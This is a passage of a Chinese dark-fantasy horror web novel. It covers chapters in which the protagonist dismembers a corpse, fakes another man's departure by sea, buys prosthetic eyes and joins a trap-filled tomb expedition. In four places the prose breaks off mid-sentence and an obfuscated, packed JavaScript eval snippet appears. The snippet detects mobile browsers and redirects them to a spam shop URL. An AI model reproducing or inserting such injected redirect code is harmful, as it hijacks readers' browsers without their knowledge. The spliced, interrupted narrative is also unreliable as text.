那些怪物想要出去,必然会留下痕迹,地上斑驳的血迹就是最好的证明。他循着屋前的血痕仔细地分辨、寻找,跟着那残留的印记一直找到了屋后,这才发现小屋倚靠着岛上一块突起的地貌,而那石壁微微颤动,正如流水般荡起涟漪。 他立马将威尔斯和西蒙娜叫了过来,随着掌心抚上柔软的石壁,他们再一次被裹进了岩壁之中。 正如路远寒所想的那样,等到他们被岩壁吐出,又重新回到了漆黑的洞窟当中,刚好落在他们进来时的位置。背包和提灯就在地上,仿佛几人刚才经历的不过是一场梦幻泡影,但安杰丽卡的脑袋还在西蒙娜怀中,证明着他们找到了人。 于是他们整理好行装,朝着来时的方向折返。又一次翻过那张颤动的巨脸,被无面怪物围攻,只不过西蒙娜一手抱头,一手握着重剑奔袭,被她剑刃撕开的肉块数不胜数,血雨纷纷,却没有一滴落在安杰丽卡面上。 她身上的杀气更重了。 不知道过去多久,洞窟的入口终于出现在了面前。这场探索像是比一个世纪还要漫长,看到象征着希望的曙光时,所有人都松了口气。 路远寒站在洞口,微微眯起眼睛,感受着落在身上的光,忽然停了下来。 他感到一阵头皮发麻:这就是地海的太阳? 从他刚穿越到现在,大概已经过了六七天,按照黑区的情况,确实应该迎来晴朗日了。所谓阳光,路远寒起初以为是从巨藤连接着地表的洞口照射进黑区的光,七日一次轮换,直到这道光线将他当头笼罩,他才发现事实并非如此。 阳光灰白阴冷,洒在身上带着一股潮湿的气息,而且那直射下来的光线太过强烈,站在光下,就如同站在巨大的灯罩里,让人近乎睁不开眼睛,随时都要被照得融化成一滩血水。 路远寒转过头去,却发现西蒙娜和威尔斯对此习以为常,并没有觉得有什么问题。他将心中的疑惑压下,等到疾驰的火车轰隆隆驶向霍普斯镇,黑夜的阴翳再一次降临。 黑区的晴朗日只有两个小时。 路远寒想,这绝对是不正常的。 但那高悬的太阳只在他眼前出现了短暂的片刻,除了让人毛骨悚然的恐惧感,没有留下任何一丝线索。关于这里的真相,他现在还不想,也不能去触碰,一旦踏入禁区,就再也没有回头路可以走了。 那座洞窟带来的阴霾只在他心中停留了片刻,车厢上人群喧嚷,还伴随着钢铁轰鸣声、呜呜的汽笛声,冲散了一行人压抑的氛围。 直到从霍普斯镇的站台下车,路远寒才发现这片熟悉的土地竟是如此亲切,甚至不再显得恐怖。 西蒙娜倒是没给他们再下任务,抱着那颗人头就匆匆走了。威尔斯要兑现他的诺言,请路远寒去秘语者喝上一杯,被谢绝后也不显得懊恼,反正他还要回猎魔人协会提交扳指,填写异物说明报告,顺便将雇主的委托物送过去,便又坐着马车走了。 据威尔斯说,他现在的存款已经足够买下一栋带门厅和后花园的房子了,而路远寒却还要为了那两千帝恩币而奋斗。 如此惨烈的对比,让路远寒更加坚定了要联系一下委托人的想法,只是现在他还有些事需要处理。毕竟诊所那边迟早会被查到,地下室的威胁一天不解决,他就一天不能安心。 时隔多日,埃尔文的尸体已经隐隐有些发臭了。 他本应被掩盖在地下室,永远痴望着那扇出不去的门,但门现在自己开了,一个端着灯台的男人走下来,缓缓进入了埃尔文的视野。 路远寒蹲在他面前,就着昏黄的灯光再次打量起这张绝望而癫狂的脸,发现尸体放得太久,他脑袋上的窟窿已经生了虫。蠕动的虫身从埃尔文的口腔中掉下来,顺着舌尖往下爬行,薄薄脸皮下的血肉基本上已被蛀空,紧贴着骨头,让他看起来异常枯槁。 第一次看见这张脸时,路远寒心中充满惊恐疑惑,甚至都没来得及仔细看埃尔文长什么样,就将吃剩的残骸丢进了地下室。 现在他端详着,态度极为认真,就像要将对方的长相刻进脑海里一样。 “好吧,埃尔文……” 路远寒微笑起来。 他拿起锯肉刀,掌根把持好下手的力道,将锋利的刀刃径直碾进尸体的肩膀,一寸一寸向下缓慢切割着血肉和骨头,直到将那条胳膊从身上卸下来,才放进旁边的箱子里,如此重复着单一的工作,把埃尔文剩下的头颅、躯干和手脚都用密封箱装起来。 事实上那些骨头并不好锯,稍微一用力,就从皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978747|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下涌出大量黑血。 因此锯完第一条胳膊,路远寒就换了工具,用一根极为坚韧的钢丝穿过骨髓前后两端,反复摩擦着锯下肱骨、股骨和颈骨。这样一来,切割出的断口不但很整齐,甚至还有一种赏心悦目的美感。 他摘下橡胶手套,将沾满污迹的作案工具扔进盛着尸块的箱口中。 “等我解决了自己的问题,会再给你买一间诊所的。” 埃尔文的问题是解决了,等会搬出去处理就好,毕竟霍普斯镇的下水道有很多管口,每一条都通往地海。 但那把从缉察队身上夺来的枪,以及记载着神秘巫术的通灵书却还在路远寒面前摆着。 路远寒首先将枪支收了起来,对于那本书,本能让他抗拒着打开阅读,却又忍不住走过去,只是指腹一抚上书脊就开始轻轻地颤抖,连寒毛都不自觉竖了起来,似乎在畏惧着什么。 忽然间,一阵阴风吹过,将纸页哗啦啦翻过去十多张,停在了鲜红的魔咒上。 上面的纹理极其清晰,正是埃尔文死的时候,身下由血液铸成的图案。只是凝视着它,路远寒就感到一阵阵寒气从脚底涌起,连视线都变得模糊而灰暗,仿佛有无穷的幽影在身边徘徊游动,吞噬着他的理智和情感。 他猛然闭上眼睛,将书扔到了一边。 没想到正好落在密封箱里,摊开的书页覆盖着腐朽的头颅,在路远寒的注视下,那些已经被砍得稀碎的肢体又缓缓活了过来,试图逃脱命运,只是无论它们如何挣扎,也爬不到箱檐的高度。 他伸手拿走通灵书,还在蠕动的肉块瞬间又砸在箱子里,死气沉沉地不再动了。 看来这本书确实是一件异物,至少有着起死回生的神秘力量,但实在是太危险了,就算无法将其压制,至少也不能把隐患留在身边。 路远寒拿起一个黑色袋子,将通灵书装了进去。他将枪管放进密封箱,亲手合上箱盖,在封口处钉上一个又一个钢钉,直至边缘严丝合缝地对齐。从他掌心延伸出的触手灵活地缠住四角,拖着沉重的箱子,一节一节带上楼梯。 从今夜之后,地下室的秘密就不再能威胁到他,而他也将不再畏惧缉察队的审查。 此时正值夜深人静,街道上只有几盏路灯还微弱地亮着光,在阴雨拂打下显得极为昏暗。没有人注意到有一个箱子被扔进了下水道,随着污秽的脏水流向了不为人知的地方。 处理完这些东西,路远寒没有停下脚步,他来到霍普斯大教堂前的某处枯树下,用惨白的指节一捧一捧剖开土壤,将包裹着硬物的袋子埋了进去。深红的泥土掩盖了异物,将这个秘密埋葬在了天主的脚下。 在那一瞬间,他感觉到有什么沉重的东西被放下了。 身后传来狺狺不断的狗吠,路远寒转过身,蠕动的黑色从他脖颈下迅速扩散,猎猎飞扬的披风下,裂开一张急需填饱的嘴巴。 17. 义眼 夜色昏黑,雨虽然停了,但那股潮湿的气味还萦绕在地面上,凝成一层薄雾,顺着路灯的杆身缠绕而上。无名的死寂笼罩着旁边的建筑,那是一栋两层楼高的诊所,不过窗户和大门都紧闭着,像是很久没有人居住了。 倏然间,门轴扭动的摩擦声响起,诊所的门开了。 一个亚麻色头发的男人从诊所内走出,锁上前门,将停止营业的牌子挂在了门口。再过十个小时,这间诊所将被房屋租赁中心的人收走,最终的售价定在了四千八百帝恩币。 这并不是笔小钱,能够用于做很多事,比如……一次永不终止的航行。 男人匆匆走过,从街旁的玻璃中看到自己现在的样子:一袭修身的黑色燕尾服,戴着白色手套,手上提了一个较大的箱子。他的额头略宽,发梢微微卷起,目光清朗,看起来略有一丝不拘小节的英气。 箱子里装着用四千帝恩币换到的等值金条,五百帝恩币的钞票,以及手术需要用到的各种器具。而在他西服的口袋中,还塞着一张前往翡翠港的船票。 船只两小时后从九号码头起航,现在还有一些充裕的时间。 男人来到秘语者酒吧,在吧台旁随意地坐下,翻看着今天的推荐酒单。随着视线掠过一个个名字,很快他就有了决断,他点了一杯狂欢黎明,十五先令,既不昂贵,也不至于消费太低。 酒保把盘子端上来,刚要转身,却被男人开口叫住。男人给了点小费,托他将一封信交给自己的表弟,也就是奥斯温·乔治。 那位客人也经常来,酒保记得他的长相,因此并没有多做犹豫,就应下了这桩差事。他留意到男人手中提着的行李箱,在酒吧实在是太显眼了。 酒保问:“您要去哪里吗?” 男人正在喝酒,听到这话微微一笑,从他面上表现出某种神秘、难以言喻的狂热崇拜: “啊……是的,我刚才卖了诊所,但我认为这一切是值得的。我即将前往海上,聆听神谕,这是伟大存在为我指明的道路,我将追随祂,直到天国降临的那一天。” 酒保吃了一惊,没有跟着附和男人的话。他知道对方似乎有着宗教信仰,却没有想到已经到了这种程度,要知道他表弟已经成为了猎魔人,而猎魔人对异教徒的容忍度近乎为零。 好在男人并没有继续这个话题,就准备离开了。他甚至还在秘语者挑拣几番,买了一些防身用的材料,才前往港口验票。 他买的是一等票,在轮船上有单独的房间。不过男人并没有急着回房间,他坐在船尾的休息区,悠闲地看着甲板上的人们搬运货物。许多买了廉价船票的人没有房间,只能跟着物品挤在货舱,而这就是他们所需要承受的代价。 探照灯映照着船上的情况,黑色的海水下似乎有某种鱼群游了过去,让那团阴影显得越发浓重。尽管地海的狂暴与危险人尽皆知,却还是有着悍不畏死的家伙试图挑战它,而他们通常都会以惨烈的下场告终。 此刻,登上这艘船的人,心中都怀着不同的想法。 钢铁制造的船身在海浪中飘浮不定,随着收锚逐渐上浮,在地海上行驶,需要一万分的谨慎与勇敢。汽笛鸣响,阵阵蒸腾的白雾从管口涌出,推动轮船向着黑暗前进。没人注意到船尾有一个人纵身跃了下去,在海水中卷着箱子迅速游上了岸。 “哗哗,哗哗……” 浪潮拍打礁岸的声音一阵接着一阵。 浅色的假发落在海水之中随波远去,露出底下黑色的发丝。随着燕尾服被抛进海中,男人湿漉漉穿着白衬衫站了起来,紧贴的衣服勾勒出肌肉的轮廓,他的身高、体型以至于容貌都开始一点一点变化,直到定格在一张属于猎魔人的脸上。 路远寒打开被水浸透的行李箱,迅速清点了金条的数量,一根不多,一根不少。他拧了拧发尾的水痕,在那冰冷的海水中游泳并不是什么舒服的体验,浪涛激荡,退下的余潮险些将他卷走。 好在他的计划完成了,以后就能在霍普斯镇拥有一个正常人的身份了。 由于恢复了自己的体型,埃尔文的衬衫对路远寒来说就有些小了,让他感觉处处紧绷。他提起箱子,离开了港口,将它在家中藏好,又换上提前准备好的制服,去了秘语者酒吧。 看到这个黑发的年轻人,酒保走了过来,将信封交给路远寒,并告诉了他埃尔文出海的事。 他斟酌着措辞,希望不会触犯到这位猎魔人的禁区,好在对方表情平缓,看上去并没有生气。 路远寒点了一杯麦芽酒,对他说道:“我大概知道一点,埃尔文提前几天就让我在看房子了,不过我也没想到他会卖掉诊所……至少我还有一部分积蓄,够付这几个月的房租了。” 他这话倒是真的。 威尔斯给的账户里还有四百多帝恩币的积蓄,路远寒在红十字街租了间单人公寓,半年续约一次,押金和租费共计三百帝恩币,他又添置了些家具,因此账户里只剩下寥寥十几帝恩币。 想到这里,路远寒打开信封,里面赫然是一封道别信和五百帝恩币的钞票。 信中的内容与酒保所知道的大差不差,这五百帝恩币,正是埃尔文给表弟留下的生活费。路远寒垂下眼看着熟悉的字迹,似乎有些伤感地叹息了一阵。要模仿埃尔文的笔迹,可费了他不少力气。 从现在起,埃尔文不会再回到霍普斯镇了,他或许会成为海上的一个传说,或许会出现在海难事故的名单上,但不会有人再去追究他的下落。 路远寒收好信封,指肚摩挲着酒杯的细柄。选择搬到红十字街,当然有他的考量。 新公寓虽然距离秘语者酒吧和猎魔人协会都不是太远,可能需要保持警惕,但远离了缉察队需要排查的那一片区域,这就足够了。 他手中攥着上次得到的纸条,自从得到工匠的联系方式后,路远寒就一直在为攒钱而努力,甚至出生入死。现在有了四千多帝恩币的收入,终于可以请对方出面制作义眼了。 工匠的联系方式很奇特,路远寒按着纸条上的指引穿行过几条废弃街道,终于在一座屋檐下找到了纸条所提到的乌鸦。 此刻他正戴着鸟嘴面具,一对尖利的黑喙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993550|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异常显眼,以至于那乌鸦见到他扇了扇翅膀,似乎是在困惑。路远寒在它脚上绑了一张五百帝恩币的支票,这是预付费,而剩下的一千五将在和工匠见面后交付。 在路远寒的注视下,乌鸦迅速飞走,过了片刻又携着纸条飞了回来。 路远寒解下纸卷,上面没有写别的,只说让他跟着乌鸦,就能到工匠的制造室了。黑影从头上掠过,他望着远去的乌鸦,立刻跟了上去。 乌鸦的黑羽跟夜色近乎融为一体,路远寒需要时不时确认一下它的踪迹,才能保证不跟丢。 片刻后,乌鸦慢悠悠停在了房檐上。 打量着眼前普通的平层小屋,路远寒礼貌地敲了两下门。 随着一阵奇怪的响动,房门应声而开,开门的竟然是一只从屋内探出来的机械手,它肢节细长,由一段段钢管衔接而成,齿轮上油味浓重,在客人进来后又贴心地带上门,咔咔转动着收回了工作台。 屋内的金属制品相当多,各种精密的仪表器械摆放在靠墙的位置,不时有蒸汽从头顶的管道内穿过,由各个阀门控制着。路远寒走在其中,终于在火花四溅的工作台前看到了他要寻找的那位工匠。 对方满鬓花白,似乎已经上了年纪,只是一双臂膀格外有力,正用高温焊接着金属丝。 在路远寒打开箱子,露出里面的金条后,他才停下手中的工作,从厚重的机械面罩后露出一只眼睛,看着路远寒开口问道:“要什么?” 路远寒稍加思考,提出了自己的要求,最好是一双耐侵蚀、不会腐坏的义眼,备选则是将离体的眼球制作成可以佩戴的标本。 他的话听着很古怪,工匠打量了路远寒好一阵,伸手指了指旁边不远处的玻璃柜:“自己挑,都是由一种高温煅烧而成的生物玻璃制成的,树脂的在另外一个柜子里,但那不符合你的要求。” 路远寒走过去,一双又一双颜色绮丽的眼睛躺在展柜中,用冰冷无机质的视线望着他,玻璃的材质在灯光照耀下显得剔透、光滑,逼真得仿佛并不是人为制造,而是从生物的眼眶中摘取下来的一样。 他最终选了一副深蓝色的义眼,与现在的瞳色相近,只有在光源照射下才会显出海潮般的颜色。 而它的售价是一千九百帝恩币,相当于还要再付给工匠三千四百帝恩币,路远寒心如滴血,只能庆幸箱子里的金条足够支付他的义眼。 结完账后,工匠告诉路远寒,要根据他的眼窝大小再对义眼进一步调整吹制。 路远寒想了想,闭着眼睛摘下面具,要求对方摸出他的眼窝大小。工匠虽然疑惑,但也知道这人的身份恐怕很有问题,大概估测出了范围,就将他买下的义眼重新烤好,告诉路远寒应该如何正确佩戴。 最好的方式当然是由工匠帮忙佩戴,不过刚才摸到的触感还残留在指尖,让他闭上了嘴。 一对眼球分明完好地待在路远寒的眼框内,甚至还在微微颤动,显然没有萎缩失活,这人却要更换义眼,情况实在是非常诡异。 那双眼睛虽然闭着,却像是在阴鸷地注视着他。 18. 等待进入网审 在霍普斯镇以东数十里,有一座矗立了上百年的城堡。那座古堡置身于幽静的森林之中,沿着流动的河水走到尽头,就能看到属于罗德里厄家族的建筑:塔楼盘错,石壁雄伟,构造得极其奢华,一个又一个尖顶仿佛剑刃指向阴霾笼罩的天空,美丽而充满绝望,在黑暗中散发着荡人心弦的气息。 在这座寂寞的围城中,生活着一群怪人。 他们容貌出众,衣着华美,连用餐的刀具都是由纯银制成,雕刻着繁复的花纹。他们每一个都是罗德里厄的继承人,生来就拥有旁人艳羡的一切,城堡中侍奉的仆人只是打翻了水,就会被他们用酷刑处置。 尽管如此,仍有人不顾那些被扔出去鲜血淋漓的尸体,想要成为罗德里厄手下的拥趸。 在这华贵的表面下,同样有着惨痛的代价。 罗德里厄家族百年来深受一种遗传病的折磨,他们到了某个年纪,就会面色发黑,重病在床,从美丽的贵族变成面目恐怖的病人,在癫狂中逐渐死去。其中,女性的寿命不超过四十岁,而男性则活不过三十五岁。 据当事人说,那些临死的罗德里厄都被一种诡异的幻觉缠着,他们在床上喃喃着说:“看到了、看到了……” 当别人问起看到了什么,罗德里厄们却又无法描述出具体的内容,只是说门要开了,他们马上就要到那边去了。 而死去的尸体无法下葬,在不到一周内就会迅速腐烂肿胀,因此只能送进焚烧炉,烧出的焦灰被倾洒进河中,随着幽幽的流水远去,仿佛这样做就能让诅咒远离。 怪病折磨了这个家族上百年,直到前段时间,雨水冲垮了城堡附近的一处矮坡,洞口坍塌,露出底下的陵墓入口。罗德里厄的现任家主认为,这座神秘的墓穴就是噩梦的来源,他们所遭遇的一切不幸,都是被里面的东西诅咒了。 为了解除诅咒,他重金发布委托,请了六个人前往地下墓穴探索。 无论事情办得如何,每个人都有八百帝恩币的酬劳,在墓穴中探索到的东西也归他们所有,罗德里厄家主只要求他们找到诅咒的源头,并想办法解决。 此刻,被雇佣的一行六人齐聚在墓穴入口,倾听着罗德里厄家主的介绍。 面容英俊,却异常消瘦的男人挥了挥手,让仆人将探照灯和一些必要工具分发下去。他那突起的双眼扫视过在场的每一个人:“各位,事情就是这样,只要能为我们解决诅咒,罗德里厄会保证你们后半辈子衣食无忧,请吧。” 路远寒接过工具,悄无声息地打量着队伍里的其他人。 尽管罗德里厄家主在秘语者发布了委托,但这里并不全是猎魔人,其中有一个披着黑袍的巫医,一个身上被机械物填充的改造人,一个据说刚从海上回来的独眼肌肉男,剩下的两位则佩戴着猎魔人徽章。 “第七小队,戴维斯,欧文。” 那两名猎魔人朝着路远寒走来,个头略高的那个是欧文,脸上有些雀斑的则是戴维斯。他们身份特殊,在这种情况下最好和同伴协作,因此对其他小队的同事释放出了善意。 路远寒朝他们笑了一笑:“第九小队,奥斯温。” 他报上名字,却没想到让那两人吃了一惊,转过头交换着眼神。 路远寒虽然不知道他们听说了什么,但也没有过多在意,蹲下去观察着手杖一端沾上的土壤:洞口处的土质略显疏松,因暴雨浇灌而沾满泥水,基本上呈深褐色,发黑的地方散发出刺鼻的腥臭味,像是被尸体分解出的液体浸透,也难怪罗德里厄家族认为下面是座墓穴。 “各位,我们一个一个下去吧?” 机械改装人开口了。他沉闷的声音从金属外壳下传来,脑袋上的齿轮不断转动着,从某根细管下不断喷出蒸汽,就像在呼吸一样。 罗德里厄家的人已经走了,他们确实应该开始工作了。至于谁先下去倒是没有争议,虽然他们有着竞争的关系,但在一开始探索的时候,需要先熟悉环境,才能找到墓穴中潜藏的财物。 望着漆黑的洞口,路远寒走上前,将探照灯的光打下去,看到一片较为平整的地面,确认了底下并不是太深。他用手杖勾着探照灯的提手缓缓放到了地面,随后翻身而下,稳当地落在地上。剩下几人也陆陆续续下了墓,开始了他们的探索。 这座墓穴不知道被尘封了多久,几人走进墓道,空气中遍是一股潮湿且腐朽的味道,从洞口灌进来不少雨水,在灯光的照射下,像是一片蜿蜒向前的血迹。 那个独眼的男人走在最前方,看起来颇为急躁。戴维斯刚想提醒他墓穴中可能存在着各种机关陷阱,男人的右脚就踩上了一块凸起的石砖。 只听铁链滑动的声音唰唰响起,一排充满钉刺的滚轮被吊着从上方砸过来,但男人反应很快,向着旁边一扑就躲过了机关。而那滚轮来回晃动几圈,才慢慢停了下来。 他虽是逃过一劫,却引起了队伍中其他人的不满。毕竟前方不知道还有多少危险在等着,要是次次都触发机关,他们就是有一百条命都不够赔在这里。 欧文看了眼其他人的脸色,率先开口说道:“兄弟,大家都想尽快探索,但是你这样一直莽撞下去,未免有点不厚道吧?至少先熟悉了地形,再做其它事。” 独眼男人面色阴狠地转过头,似乎是想张口骂人,瞥见欧文腰侧的配枪,又把话压了下去。 接下来的探索仍然是他打头,但是欧文紧随其后,有猎魔人在身后时刻看守着,独眼男人安分了一些,在众人的提醒下避开了几处看似寻常的机关。 然而这些陷阱只是一道开胃菜,随着墓道深入,鳞次栉比的长廊出现在他们面前,如蛇群盘绕般一条紧衔着另一条,而从那些墙壁上渗出诡异的颜色,在微弱的气流下颤动起伏。 路远寒仔细观察,才发现它们竟然是无数人骨堆砌而成的,被拆下来的骨头彼此交错,缝隙处则由骨渣和碎片填满。 而要修建这么多堵骨墙,恐怕将半个霍普斯镇的人都坑杀在这里也不够。 其他人也意识到了这座墓穴的不寻常,但此刻没有一个人想要退缩。墓葬的规格越高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017098|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相应的陪葬品也会越价值连城,不光是独眼男人的呼吸急促了起来,路远寒留意到,那个巫医似乎在黑袍下藏了什么,手腕处正有东西顺着他的衣角蠕动。 独眼男人问:“走哪一条道?” 他们面前有三条通道可以走,只不过每一条通道都幽深黑暗,看上去并没有太大的差别。 在这种难以分辨的情况下,机械改装人率先站了出来。他从身上拿出三个小齿轮,颇为费劲地弯下腰,让它们朝着不同的方向滚去,并说听到那些齿轮骨碌碌的响声,便知道哪一条道好走了。 随着齿轮消失,最左边的那条传来响声,而剩下两条走廊则保持着寂静,声音仿佛被黑暗中的某种东西吞噬了一样。 所有人的面色都不是太好看。他们朝着左边的通道走去,灯光照亮了里面的情况,而看到的东西也让他们感到一阵脊骨发凉。 这条走廊内的空间很狭窄,两侧墙壁上修建了不少坑洞,每个坑洞内都容纳着一具尸体,其中有妇女、幼童、牧师、军官……他们的脖颈被吊钩悬挂着,钉在洞中,而尸体头部下垂,如同在默默祷告一样。这些尸体密密麻麻地占据了整条通道,想要到对面去,就必然要从他们当中走过。 巫医打量着他们的尸首,似乎有了判断,用干涩嘶哑的声音说:“这应该是黑死病时期的人。” 众人了然。 在黑区这样的环境下,瘟疫并不是什么少见的事,黑死病曾经杀死过无数人,病症的后果比畸变更让人难以承受,只不过上一次黑死病盛行,已经是数百年前的事了。 被这些干瘪的尸体围着,他们不由得放满了脚步。路远寒忽然感觉到耳朵很痒,他伸手去摸,从耳廓内摸出一只蠕动的小虫。那虫子体表呈血红色,张口咬住了他的指尖,贪婪地吮吸着伤口渗出的血滴,只不过很快就痉挛起来,打着颤摔在了地上。 路远寒卷起袖口,又发现不少同样的小虫,只是沾了血的虫子都死了,而尸体还趴在他的胳膊上。 他抬头望去,看到欧文和戴维斯的脖颈上也有这些小虫,那些虫子喝饱了血肉,因此显得油亮涨大,正缓慢地朝着他们头皮爬去。 路远寒面色一沉,开口提醒:“小心,有虫子在我们身上!” 前面的人还没来得及回头,某具尸首的嘴巴忽然张开,从中飞出一只体型颇大的怪虫,扑到了独眼男人的脸上。 男人顿时惊叫起来,伸出的手指抓在脸上,想要将怪虫拿下来,那些锋利的钩足却扒得极牢,在他两颊上扎出一个又一个渗血的窟窿。在他的搔抓之下,那条虫子终于动了,竟然朝着他的口腔钻去,而头部已经进去了大半,缠着他的舌头露出了尖牙。 独眼男人惊恐万分,由于说不出话,只能呜呜地喊叫着。就在这时,一双机械手迅速伸长,精准无误地钳住还在攒动的虫子,从男人嘴巴里拔了出来。 那怪虫非常诡祟,落地的瞬间就要振翅飞走,然而机械手的掌心分开,从中冒出一圈高速转动着的锯条,血肉横飞地将虫身碾碎了。 19. 开棺 那怪虫被碾碎后僵而不死,仍然抽搐了片刻,才消融成一地血水。看到那诡异的模样,几人急忙将身上的血虫摘下,才发现这些食人血肉的虫子已经蛰伏了一路。 戴维斯忽然惊叫一声,原来那虫子已经钻进了他颈后的皮肤内,如同一个肿块顺着脊椎缓缓游动。随着欧文用匕首帮他将血虫挑出,一截血管也湿漉漉从伤口带出,正不断往外滋血,哪怕用衣物盖住也止不住鲜血如注。 正当众人一筹莫展之际,巫医走上前,将一滩焦黑的不明物质贴在了戴维斯背后,那东西像是有着活性,竟然朝着他的伤口依附而去,让伤情立马得到了遏制。 戴维斯顿感一阵惊奇,忍不住问道:“这是什么东西?” 听着他的话,巫医面上浮现出一个诡谲的笑,两条干枯如腐树的手臂随着这阵笑声而颤动起来:“放心,只是一种神秘的祝福,它会保佑你不被邪祟的力量所侵蚀。” 路远寒皱了皱眉,他能感觉到自己体内的触须在躁动不安,正渴望着一涌而出,却不知道引起这股骚乱的源头是什么。他用怀疑的态度审视着队伍中每一个人,甚至是已经融化的虫尸,直觉提醒着他这趟地下墓穴的探索有蹊跷,远没有看上去那么简单。 经过刚才那么一遭,众人前进时都变得谨慎了许多,好在剩下的尸首内部没有怪虫寄生,忽然间,远处的某种物质将灯光折射了回来。 路远寒定睛一看,才发现那是座闪着幽光的玻璃棺。 与其说是棺材,倒不如称之为展柜,因为它的尺寸实在太小,其中浸满了淡黄色的液体,在水中沉睡着一具高度不腐的尸体:那是个大约两岁的女童,鬈曲的发丝紧贴在光洁的额面上,睫毛盈盈沾水,被一支同样防腐处理过的蔷薇钉在棺中,显得美丽而安详。 看到这具尸体的瞬间,他就明白了事情的真相。显然,这是一个制作精细的木乃伊标本,而坑洞中那些垂首祷告的尸体,则是失败的试验品。 他们虽然还保持着大致的形体,却已经没有了充盈的血肉,自然不能与那具栩栩如生的童尸相比。 欧文似乎也有了猜测,面色凝重道:“这是……” 他的目光一顿,注意到了玻璃棺中盛着的红玛瑙,那东西外表就如石鱼,内里中空剔透,悬着的水胆里呈现出血液般的鲜红,在腔壁内熠熠生辉,一看就是个不可多得的宝物。 在场几人皆是露出了异样的神色,独眼男人率先奔向玻璃棺,然而刚帮过他一把的机械手紧缠住了男人的小腿,瞬间就将肌肉威猛的大汉放倒在地。 机械改装人踩着他的手臂跨了过去,随着砰砰几声震响,欧文开枪了,弹壳陷进金属里打出一个一个凹坑,趁着对方转身抵挡,戴维斯默契地俯下身滚了过去,掌心抚摸上了冷冰冰的棺盖。 “等等!万一那是镇压……” 路远寒高喝出声,然而他的话只说了一半,戴维斯已然将玻璃棺打开,戴着手套从防腐液中捞出了那颗血胆玛瑙。只见棺中童尸的眼皮轻轻颤了颤,似乎是想要睁开眼睛,只不过这异象转瞬即逝,又恢复成了让人毛骨悚然的寂静。 “镇压什么?死缠着罗德里厄一直不放的诅咒吗?” 戴维斯摇了摇头,将玛瑙放进提前准备好的封存袋里,而欧文已经控制住了剩下的人,显然这两人有备而来,并没有打算让其他参与者在这次探索中分一杯羹。 欧文用枪管指着其他人,很是虚伪地笑了一笑:“抱歉了,各位……并不是我们要垄断墓穴里的宝物,只是有的东西很危险,你们不应该碰。要是大家听明白了的话,我们就继续探索吧?” 他知道奥斯温·乔治同样有枪,只是作为猎魔人,欧文觉得对方并不会在这件事上忤逆自己。再古怪的新人又如何,总不能为了利益而对前辈下杀手。 摔破了脸的独眼男人朝地上狠狠啐了一口,用仇视的目光望着所有人。机械改装人则沉默地在原地站着,从他隐藏在厚重镜片内的眼中很难看出什么情绪。 看没有人提出意见,欧文又开始催促他们继续探索,几人正要绕过玻璃棺,忽然从墓顶上砸下一根巨大的石桩,自上而下贯穿了戴维斯的躯体,他的眼球爆裂而出,温热的液体喷溅在所有人身上,那装着血胆玛瑙的袋子也滚在地上,被稀烂的肉糜淹没了。 那一瞬间发生的事情太快,以至于过了几秒,剩下的人才感受到脸上缓慢流下的鲜血。 沉重的石桩将戴维斯硬是捣成了两半,此时还镶在地面,用一双雕刻出的眼睛注视着僵住的众人。那并不是属于活物的眼睛,却没有人敢轻举妄动,谁都不知道墓顶会不会再降下一根石桩,将盗墓者都碾死在这里。 戴维斯死了,反应最大的是他的队友欧文。 他难以置信这座墓穴中的危险竟然是即死性的,刚建立好的局面转瞬倾塌,眼见独眼男人伸手向着戴维斯身上的配枪抓去,欧文顿时反应过来,毫不犹豫地开了枪,将男人的掌心打出一个冒着黑烟的窟窿。 “啊啊啊啊!” 男人的惨叫声响彻了整条走廊。 在一片混乱之中,路远寒拿起袋子,以极快的速度将血胆玛瑙倒回了玻璃棺中,随着他将棺材盖合上,从头顶轰隆隆传来的响动也停了下来,消失得无影无踪。 那具小小的童尸倚靠着玻璃棺睡得安详,就仿佛什么都不曾发生一样。 想要趁乱夺枪的男人被子弹射穿掌心,已经失去了反抗能力,正伏在地上捂着伤口不断喘息。见欧文面色阴狠,似乎还想要对其他人动手,路远寒当机立断,举枪指向了他的太阳穴:“冷静点,我的枪只会比你的更快。” 欧文和他僵持片刻,最终慢慢放下了枪。 同伴的死亡换得了短暂的平衡,五人一边前进,一边微妙地保持着彼此的距离,巫医打量着石桩下残缺不全的尸体,像是有些遗憾地叹了一口气。 绕过这座玻璃棺没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 